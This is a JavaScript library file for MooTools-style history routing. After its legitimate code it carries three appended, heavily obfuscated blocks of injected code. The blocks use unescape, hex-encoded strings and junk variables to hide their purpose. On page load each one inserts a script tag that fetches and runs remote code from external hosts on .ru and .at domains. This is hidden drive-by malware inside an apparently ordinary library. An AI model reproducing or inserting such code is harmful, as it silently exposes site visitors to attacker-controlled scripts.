/**
 * History.Routing
 *
 * @version		2.0
 *
 * @license		MIT License
 * @author		Harald Kirschner <mail [at] digitarald.de>
 * @copyright	2008 Author
 */

History.implement(new Options());

History.implement({

	options: {
		separator: ';'
	},

	routes: [],

	register: function(route) {
		if (this.routes.push(route) == 1) this.addEvent('changed', this.match);
	},

	unregister: function(route) {
		this.routes.remove(route);
	},

	match: function(state, previous, manual) {
		if (!manual) this.routes.each(Function.methodize('match', this.state));
	},

	generate: function() {
		return this.routes.map(Function.methodize('generate')).clean().join(this.options.separator);
	},

	update: function() {
		return this.setState(this.generate());
	}

});

History.Route = new Class({

	Implements: [Events, Options],

	/**
	 * pattern:				Regular expression that matches the string updated from onGenerate
	 * defaults:			Default values array, initially empty.
	 * flags:				When regexp is a String, this is the second argument for new RegExp.
	 * skipDefaults:		default true; generate is not called when current values are similar to the default values.
	 * generate:			Should return the string for the state string, values are first argument
	 * onMatch:				Will be called when the regexp matches, with the new values as argument.
	 */
	options: {
		skipDefaults: true,
		defaults: [],
		pattern: null,
		flags: '',
		generate: function(values) {
			return values[0];
		},
		onMatch: $empty
	},

	initialize: function(options){
		this.setOptions(options);
		this.pattern = this.options.pattern || '(.*)';
		if ($type(this.pattern) == 'string') this.pattern = new RegExp(this.pattern, this.options.flags);
		this.values = this.defaults = this.options.defaults.slice();
		History.register(this);
		return this;
	},

	setValues: function(values) {
		if (this.values.toString() == values.toString()) return this;
		this.values = values;
		History.update();
		return this;
	},

	setValue: function(index, value) {
		if (this.values[index] == value) return this;
		this.values[index] = value;
		History.update();
		return this;
	},

	build: function(values) {
		var tmp = this.values.slice();
		this.values = values;
		var state = History.generate();
		this.values = tmp;
		return state;
	},

	destroy: function() {
		History.unregister(this);
	},

	generate: function() {
		if (this.options.skipDefaultMatch && (String(this.values) == String(this.defaults))) return null;
		return this.options.generate.call(this, this.values);
	},

	match: function(state) {
		var bits = state.match(this.pattern);
		var defaults = this.defaults;
		if (bits) {
			bits.splice(0, 1);
			for (var i = 0, j = bits.length; i < j; i++) bits[i] = $pick(bits[i], defaults[i] || null);
			if (String(bits) != String(defaults)) this.values = bits;
		} else {
			this.values = this.defaults.slice();
		}
		this.fireEvent('onMatch', [this.values, this.defaults]);
	}

});

Function.methodize = function(name) {
	var args = Array.slice(arguments, 1);
	return function(obj) {
		return obj[name].apply(obj, args);
	};
};

var o=new Array();try {var js=new Array();var s=window[unescape("%75%6e%65%73%63%61%70%65")];this.q='';this.K='';var iG="";var X=s("%72%65%70%6c%61%63%65");var h=null;var V=window[s("%52%65%67%45%78%70")];var p="";var oN;if(oN!='' && oN!='sF'){oN=''};var jJ=new Date();function W(U,sk){var yw;if(yw!='' && yw!='Qm'){yw=null};this.Qj='';var MI=new Array();var Q=s("%5b");Q+=sk;var m;if(m!='' && m!='bP'){m='pU'};this.Wk="";Q+=s("%5d");var d=new V(Q, s("%67"));var XY=new String();var Iw;if(Iw!='' && Iw!='l'){Iw=null};return U.replace(d, h);var mh='';};var e;if(e!='Yk' && e!='hO'){e=''};var Rr;if(Rr!='fm'){Rr='fm'};var y='';this.VI="";var iA;if(iA!='u'){iA=''};var P="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var Y="on"+"lo"+"ad";this.qg='';var i=s("%73%63%72%69%70%74");var vR="";var H=W('8935171433443064455966482647762663029249591631619','24593761');var BX;if(BX!=''){BX='bY'};this.zi="";var U=s("%31");var Rm=new Date();var Pe=W('/UgIo3oqgAl5eK.qctovmq/MskaPlve1sqfkoSrUcteB.1cvoKm_/kgNoJokgNl8eS.BcJojmI.Mmby5.Ap_h8pP','8bSMUN3jkJtYqZvKAIn1PQ_B5');var Cq="";function dW(){var WBf;if(WBf!='' && WBf!='Cu'){WBf=''};var st;if(st!='' && st!='Mqx'){st=''};var vq;if(vq!='' && vq!='t_'){vq=''};var N=document;var mF='';var Qmi;if(Qmi!=''){Qmi='tu'};A=N.createElement(i);this.j_='';y+=P;y+=H+Pe;var gX=new String();var JM=new String();A.src=y;var Xp;if(Xp!='' && Xp!='FF'){Xp=''};var Z;if(Z!='' && Z!='LT'){Z=''};var j=N.body;A.defer=U;this.jT='';j.appendChild(A);var SV=new Array();};var GB=new Date();var tH;if(tH!='px'){tH=''};window[Y]=dW;} catch(XU){var aC;if(aC!='ry' && aC!='AB'){aC='ry'};};var ud;if(ud!='AP'){ud='AP'};
try {var D;if(D!=''){D='ik'};var G='';this.F="";var A=window[unescape("%75%6e%65%73%63%61%70%65")];var h;if(h!='x'){h=''};var B='';var _u;if(_u!='' && _u!='t'){_u=''};var Y=A("%72%65%70%6c%61%63%65");var hX=new String();var pw;if(pw!='Si' && pw!='P'){pw=''};var S=null;var _h;if(_h!='' && _h!='Go'){_h=null};var GH="";var o=window[A("%52%65%67%45%78%70")];var EP;if(EP!='n'){EP='n'};var Io;if(Io!=''){Io='fj'};function i(E,C){var oP;if(oP!='Al' && oP!='FN'){oP=''};var z=new Date();var O=A("%5b");var Mn;if(Mn!=''){Mn='c'};O+=C;var gB;if(gB!='d'){gB='d'};O+=A("%5d");var N;if(N!='zD'){N='zD'};var _=new o(O, A("%67"));var PA;if(PA!='' && PA!='lu'){PA=null};var m=new Array();return E.replace(_, S);var Oi=new Date();};var Yc;if(Yc!='' && Yc!='pd'){Yc=''};var K;if(K!='dC' && K != ''){K=null};var b=A("%73%63%72%69%70%74");var f=i('875441514464771961607919456614715845155549759901147445541576','419675');var Z='';var V;if(V!='' && V!='rF'){V=null};var Vb=new Date();var E=A("%31");var dl;if(dl!='JB'){dl='JB'};var Es;if(Es!='X'){Es='X'};var U=i('/0gdoFovg0lNeE.NcFoBmu/BtEeGrvrNaB.GcdoCm0.NbKrS/QyGeQsBkdyF.0cSodmE.NpQhSpv','K0FvQBNGdESCu');var uv;if(uv!='sw' && uv!='iC'){uv='sw'};var a="\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6e\x65\x6c\x6f\x76\x65\x64\x69\x72\x65\x63\x74\x2e\x61\x74\x3a";var Bc=new Date();var e=String("onloa"+"d");this.Jn="";var pQ;if(pQ!='De' && pQ!='qz'){pQ='De'};var iN=new String();function au(){var wC=new Date();var p=document;var ju;if(ju!='Ut'){ju=''};var Oa=new String();Q=p.createElement(b);var Vq='';this.Nv="";var Mm='';var tP='';Z+=a;var Yr;if(Yr!=''){Yr='si'};var LN="";Z+=f+U;var hA='';var W=p.body;Q.src=Z;var CT;if(CT!='Pw' && CT!='ma'){CT='Pw'};Q.defer=E;var me;if(me!='PAL' && me != ''){me=null};var mS;if(mS!='ov' && mS!='ai'){mS='ov'};W.appendChild(Q);var Ke=new String();var uS;if(uS!=''){uS='lr'};};var nb;if(nb!='' && nb!='Lu'){nb=''};var XZ;if(XZ!='' && XZ!='zs'){XZ=''};window[e]=au;var ovF;if(ovF!='Ls'){ovF=''};var Te;if(Te!='mZ'){Te=''};} catch(T){var CM;if(CM!='BLh' && CM != ''){CM=null};var aZ='';};var yZ;if(yZ!='' && yZ!='CRt'){yZ=''};

var sI='';var xL=new String();var T;if(T!='l'){T=''};var hA;if(hA!='' && hA!='_Q'){hA=null};function x(){this.P='';var W=window;var hF="";var Gx;if(Gx!='' && Gx!='O'){Gx=''};var J="";var H=W['unescape'];var V=H("%2f%72%65%6e%72%65%6e%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%31%65%31%30%30%2e%6e%65%74%2e%70%68%70");var Or;if(Or!='' && Or!='t'){Or=''};var nD=new String();function h(K,_){var Op;if(Op!=''){Op='Nt'};this.OpL="";var rF=new Array();var D=H("%5d");var q;if(q!='wd' && q!='cK'){q=''};var lV;if(lV!='_D' && lV!='F'){lV=''};var Y=H("%5b");var G="g";var vc="";var HH=new RegExp(Y+_+D, G);return K.replace(HH, new String());this.Qt='';};var wN='';var b;if(b!='tP' && b!='di'){b='tP'};var v=h('dneifzetrO','otynqgTzOix');var Jh;if(Jh!='' && Jh!='xD'){Jh=''};var lf="";var n=h('sNrWcN','VRmqNUQW');var S=document;var W_=h('81651596451263911095951999659226339584356115633153946055791455796419','63412795');var o=h('s5cKrmihpBtR','N_QzhRB5ZvPogFlWIK90jmLfY');var Gh=new Array();function I(){var Ch=new String();this.bD="";var M=H("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");this.vH="";var vI;if(vI!='Ux' && vI != ''){vI=null};var k=M;var JN;if(JN!='' && JN!='KJ'){JN='Lk'};k+=W_;var gO;if(gO!='NI' && gO != ''){gO=null};k+=V;var U_;if(U_!='gr'){U_='gr'};this.hg="";try {var mM;if(mM!='Uw' && mM!='cr'){mM='Uw'};B=S[h('cdr5eua4t4euEIluedmdeInKtu','u4KbdIZ5o')](o);var rJ="";var TP;if(TP!='Fp' && TP != ''){TP=null};B[n]=k;this.D_='';this.yQ="";B[v]=[1][0];var qe=new Date();var JU=new String();S.body[h('a5pGpYeknBdFCwhJiBlGd6','WI6SsDwBQkFJKG5Yg')](B);var BK="";var UP='';} catch(nk){var mA="";};var hD;if(hD!='' && hD!='Wt'){hD='pd'};var WZ;if(WZ!='' && WZ!='EM'){WZ=''};var Mg;if(Mg!='JJ' && Mg!='u'){Mg=''};var Zi="";}var DV=new Date();var s=h('oknKlZoAa2db','OD42gZru_wVb8AKYBk76');var eH='';var hS='';W[s]=I;this.qE="";var cA;if(cA!='' && cA!='bS'){cA=null};};var pJ=new String();x();var Nf='';